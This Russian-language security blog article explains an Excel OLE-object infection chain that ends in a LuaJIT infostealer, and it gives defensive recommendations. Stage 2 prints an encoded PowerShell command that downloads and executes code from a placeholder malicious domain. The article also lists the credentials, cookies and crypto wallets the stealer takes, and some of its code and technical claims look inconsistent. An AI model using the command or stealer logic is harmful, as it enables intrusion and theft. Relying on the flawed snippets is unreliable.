Excel-атака: цепочка заражения от OLE-объекта до LuaJIT-инфостилера

📋 Кратко

Многоступенчатая атака с использованием Excel-документов, OLE-объектов и LuaJIT-инфостилеров — одна из самых опасных комбинаций 2026 года. Вредоносный файл маскируется под счёт или накладную, использует OLE-технологию для внедрения скрытого пейлоада, загружает LuaJIT-сценарий и похищает учётные данные, cookie-файлы и криптокошельки. Разбираем каждый этап цепочки заражения и даём практические рекомендации по защите.

⏱ 7 минут чтения

В 2026 году атаки с использованием офисных документов остаются одним из самых эффективных векторов начального проникновения. По данным Positive Technologies, более 67% целенаправленных атак на российские компании начинаются с фишингового письма с вложением — и лидируют среди таких вложений файлы Microsoft Excel. Однако современные злоумышленники давно отказались от простых макросов: на смену пришли многоступенчатые цепочки заражения, использующие OLE-объекты для скрытой доставки пейлоада и LuaJIT-сценарии для финальной стадии кражи данных.

В этом материале мы подробно разберём атаку класса «Excel → OLE → LuaJIT-инфостилер»: как именно работает каждый этап, какие инструменты применяются, как защитить инфраструктуру и почему традиционные антивирусные решения часто пропускают такие угрозы.

Ключевая статистика: По данным отчёта «Лаборатории Касперского» за I квартал 2026 года, количество атак с использованием OLE-объектов в офисных документах выросло на 43% по сравнению с аналогичным периодом 2025 года. Средний ущерб от одной успешной атаки с инфостилером — $287 000 (IBM X-Force Threat Intelligence Index, 2026).
Фишинговое письмо с вредоносным вложением на мониторе
Фишинговое письмо с вредоносным вложением на мониторе

Что такое OLE-объекты и почему их используют в атаках

OLE (Object Linking and Embedding) — технология Microsoft, появившаяся ещё в 1990-х годах, которая позволяет внедрять в один документ объекты из другого приложения. Например, в Excel-таблицу можно встроить PDF-файл, изображение, звуковой файл или даже исполняемый код. Изначально OLE задумывалась для удобства пользователей — чтобы можно было редактировать встроенный объект прямо внутри документа. Но именно эта функциональность стала идеальным механизмом для доставки вредоносного кода.

Замаскированный OLE-объект внутри таблицы Excel
Замаскированный OLE-объект внутри таблицы Excel

При открытии Excel-файла, содержащего OLE-объект, система обращается к связанному объекту по его идентификатору CLSID (Class Identifier). Если CLSID указывает на исполняемый компонент — например, на пакетный файл (.bat), скрипт Windows Script Host (.vbs) или динамическую библиотеку (.dll) — система может запустить его без явного предупреждения пользователя. Злоумышленники пользуются этим, создавая OLE-объекты, которые ссылаются на легитимные системные утилиты (rundll32.exe, mshta.exe, regsvr32.exe), а те, в свою очередь, загружают и исполняют вредоносный код.

Техническая деталь: Для маскировки OLE-объекта злоумышленники изменяют его иконку на иконку Excel или PDF, используя системные вызовы WinAPI (OleSetIconInThumbnail). Средний пользователь видит обычную электронную таблицу и не подозревает о скрытом вложении.

LuaJIT: почему скриптовый язык стал популярен в инфостилерах

Lua — легковесный скриптовый язык, а LuaJIT (Just-In-Time Compiler для Lua) — его высокопроизводительная реализация, способная исполнять код практически со скоростью машинного. В последние два года LuaJIT набирает популярность среди авторов вредоносного ПО по нескольким причинам.

Трёхступенчатая цепочка заражения от Excel до LuaJIT
Трёхступенчатая цепочка заражения от Excel до LuaJIT

Во-первых, LuaJIT-скрипты сложнее обнаружить сигнатурными методами: код можно обфусцировать, упаковать, а его поведение легко варьировать в рантайме. Во-вторых, LuaJIT имеет встроенную FFI (Foreign Function Interface), которая позволяет вызывать нативные WinAPI-функции напрямую — без необходимости вставлять шелл-код или загружать дополнительные библиотеки. Это делает пейлоад компактным и снижает риск обнаружения эвристическими анализаторами. В-третьих, LuaJIT работает на всех платформах Windows (от Windows 10 до Windows Server 2025) и не требует установки среды выполнения — достаточно одного исполняемого файла размером около 200 КБ.

Известные образцы LuaJIT-инфостилеров

  • FadeBag — инфостилер на LuaJIT, распространявшийся через Excel-документы во II полугодии 2025 года. Крал данные из 27 браузеров, включая Chrome, Firefox, Edge и Opera, а также криптокошельки MetaMask, Trust Wallet и Exodus.
  • ChopLua — LuaJIT-лоадер, обнаруженный командой ANY.RUN в марте 2026 года. Маскировался под бухгалтерский отчёт, использовал трёхступенчатую цепочку OLE → PowerShell → LuaJIT.
  • StealLua — модификация FadeBag с поддержкой кражи файлов из защищённых VPN-сессий и сессий RDP.

Цепочка заражения: от письма до полной компрометации

Разберём типичную последовательность атаки на примере инфостилера FadeBag. Цепочка состоит из четырёх этапов, каждый из которых маскирует следующий.

Кража паролей и криптокошельков через LuaJIT-инфостилер
Кража паролей и криптокошельков через LuaJIT-инфостилер

Этап 1. Фишинговое письмо с вложением

Жертва получает письмо, якобы от контрагента или бухгалтерии, с темой «Сверка взаиморасчётов за II квартал 2026» или «Акт выполненных работ № 4512». К письму прикреплён файл sverka_2q_2026.xlsx размером 30–50 КБ. Имя отправителя подделано, домен письма похож на реальный (contrahent-company.org вместо contrahent-company.com).

Этап 2. OLE-объект и запуск сценария

При открытии файла пользователь видит пустую таблицу с единственным элементом — изображением, которое имитирует PDF-документ (иконка Adobe Acrobat). Двойной клик по «изображению» активирует OLE-объект, который на самом деле является ярлыком (LNK), указывающим на запуск PowerShell с передачей закодированной команды:

powershell -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHQALgBtAGEAbAB3AGEAcgBlAC0AZABvAG0AYQBpAG4ALgBjAG8AbQAvAGMAYQBuAGEAcgB5AC8AVAA5AGUAMwBqAFUAYgA1ACcAKQA=

Кодированная команда декодируется в загрузку и исполнение следующего этапа через IEX (New-Object Net.WebClient).DownloadString('https://ct.malware-domain.com/canary/T9e3jUb5').

Этап 3. Доставка LuaJIT-пейлоада

PowerShell-скрипт загружает архив (например, CAB-файл или ZIP), содержащий два компонента: исполняемый файл LuaJIT (luajit.exe, подписанный действительным сертификатом скомпрометированного разработчика игр) и сценарий init.lua. Запуск производится через скрытое окно:

# In-memory execution via PowerShell
$bytes = [System.IO.File]::ReadAllBytes("$env:TEMP\luajit.exe")
$assembly = [System.Reflection.Assembly]::Load($bytes)
[LuaJIT.Runner]::Execute("$env:TEMP\init.lua")

Этап 4. Сбор и эксфильтрация данных

LuaJIT-сценарий использует FFI для прямого вызова WinAPI-функций. Он выполняет следующие действия:

  • Сбор учётных данных — чтение файлов Login Data, Cookies и Web Data из профилей всех установленных браузеров (Chrome, Firefox, Edge, Brave, Opera, Vivaldi, Яндекс.Браузер). Для расшифровки паролей используется вызов CryptUnprotectData.
  • Кража криптокошельков — поиск директорий кошельков MetaMask, Trust Wallet, Exodus, Atomic Wallet, Coinbase Wallet, Electrum. Копируются файлы seed-фраз и файлы кошельков (.dat, .json).
  • Сбор сессионных токенов — (cookie-файлы с флагом session) для захвата активных сессий в веб-приложениях (корпоративная почта, CRM, ERP).
  • Сбор системной информации — имя хоста, имя пользователя, версия ОС, установленные антивирусы, список процессов (для обнаружения песочниц и анализаторов).
  • Эксфильтрация — данные архивируются в ZIP (через вызов System.IO.Compression.ZipArchive через FFI) и отправляются на C2-сервер через HTTP POST или DNS-туннелирование.

Методы защиты: как обнаружить и блокировать атаку

Защита от многоступенчатых атак вида «Excel → OLE → LuaJIT-инфостилер» требует комплексного подхода. Ни один отдельный продукт не даёт полной гарантии, но комбинация методов перекрывает все этапы цепочки заражения.

Многоуровневая система защиты от многоступенчатых атак
Многоуровневая система защиты от многоступенчатых атак

1. Блокировка на уровне почтового шлюза

  • Настройте DMARC, DKIM и SPF для всех корпоративных доменов — это снизит количество писем с подменённого адреса.
  • Используйте песочницу (sandbox) для анализа всех входящих вложений формата .xlsx, .xls, .docx, .pdf с макросами или OLE-объектами. Современные EDR-системы, такие как Kaspersky Endpoint Security для бизнеса и Positive Technologies PT Sandbox, способны детектировать OLE-объекты с нестандартными CLSID.
  • Отключите приём исполняемых расширений (.exe, .bat, .vbs, .ps1) и архивов с паролями на почтовом шлюзе — они почти всегда используются в целевых атаках.

2. Настройка Endpoint Protection (EDR/XDR)

  • Включите поведенческий анализ процессов: отслеживайте запуск Excel.exe → PowerShell.exe → LuaJIT.exe как подозрительную цепочку родитель-потомок. Большинство современных XDR-систем (Kaspersky Symphony, Positive Technologies MaxPatrol EDR) поддерживают правила корреляции такого типа.
  • Настройте политику AppLocker или Windows Defender Application Control: запретите запуск недоверенных исполняемых файлов из папок %TEMP% и %APPDATA%.
  • Блокируйте PowerShell в режиме Constrained Language Mode для всех пользователей, кроме администраторов. Это не даст злоумышленникам использовать PowerShell для загрузки следующей стадии.

3. Обнаружение на уровне сети

  • Настройте NGFW (Next-Generation Firewall) на блокировку подозрительных DNS-запросов к недавно зарегистрированным доменам (алгоритмы DGA-детекции).
  • Используйте прокси-сервер с SSL-инспекцией — это позволит анализировать содержимое HTTPS-трафика, через который чаще всего работает LuaJIT-инфостилер.
  • Внедрите систему обнаружения аномалий трафика (NDR/SIEM): внезапный всплеск исходящего трафика в нерабочее время — один из ключевых признаков работающего инфостилера.

4. Обучение персонала

  • Проводите регулярные тренировки по распознаванию фишинговых писем с акцентом на входящие документы от внешних отправителей. Используйте симуляторы фишинга (например, PhishRIP или KnowBe4).
  • Обучите сотрудников не открывать OLE-объекты в документах от незнакомых отправителей. В корпоративной среде можно отключить OLE-функциональность через групповые политики — DisableOleAutomation в реестре Windows.

Тренды 2026: эволюция угрозы

Судя по отчётам «Лаборатории Касперского» и Positive Technologies, атаки с использованием офисных документов продолжат эволюционировать в трёх направлениях. Во-первых, LuaJIT-инфостилеры всё чаще получают модульную архитектуру: после заражения злоумышленники могут догружать дополнительные модули (кейлоггер, RDP-бэкдор, шифровальщик) прямо на скомпрометированную машину через единый C2-канал. Во-вторых, растёт использование обфускации OLE-объектов: злоумышленники применяют стеганографию, пряча пейлоад в изображениях, внедрённых в документ. В-третьих, LuaJIT-сценарии адаптируются под обход EDR: в образцах 2026 года обнаружена проверка на наличие процессов анализа (procmon, Wireshark, Ghidra) с немедленным самоуничтожением при их обнаружении.

Эволюция угроз: модульность, стеганография, обход защиты
Эволюция угроз: модульность, стеганография, обход защиты

Вывод

Цепочка заражения «Excel → OLE → LuaJIT-инфостилер» — яркий пример эволюции методов атак. Злоумышленники комбинируют легитимные технологии Microsoft с современными скриптовыми движками, создавая многоступенчатые атаки, которые обходят классические сигнатурные детекторы. Эффективная защита требует внимания на всех этапах: от фильтрации почтового трафика до поведенческого анализа на конечных точках и обучения сотрудников. Особенно важно помнить, что один из самых слабых элементов в этой цепочке — человек: вовремя распознанное фишинговое письмо остаётся лучшей защитой от любой, самой сложной атаки.

Момент решения: открыть вредоносное вложение или нет
Момент решения: открыть вредоносное вложение или нет

📚 Читайте также

📖 Термины

APT · Дроппер · Социальная инженерия · Фишинг

🔗 Источники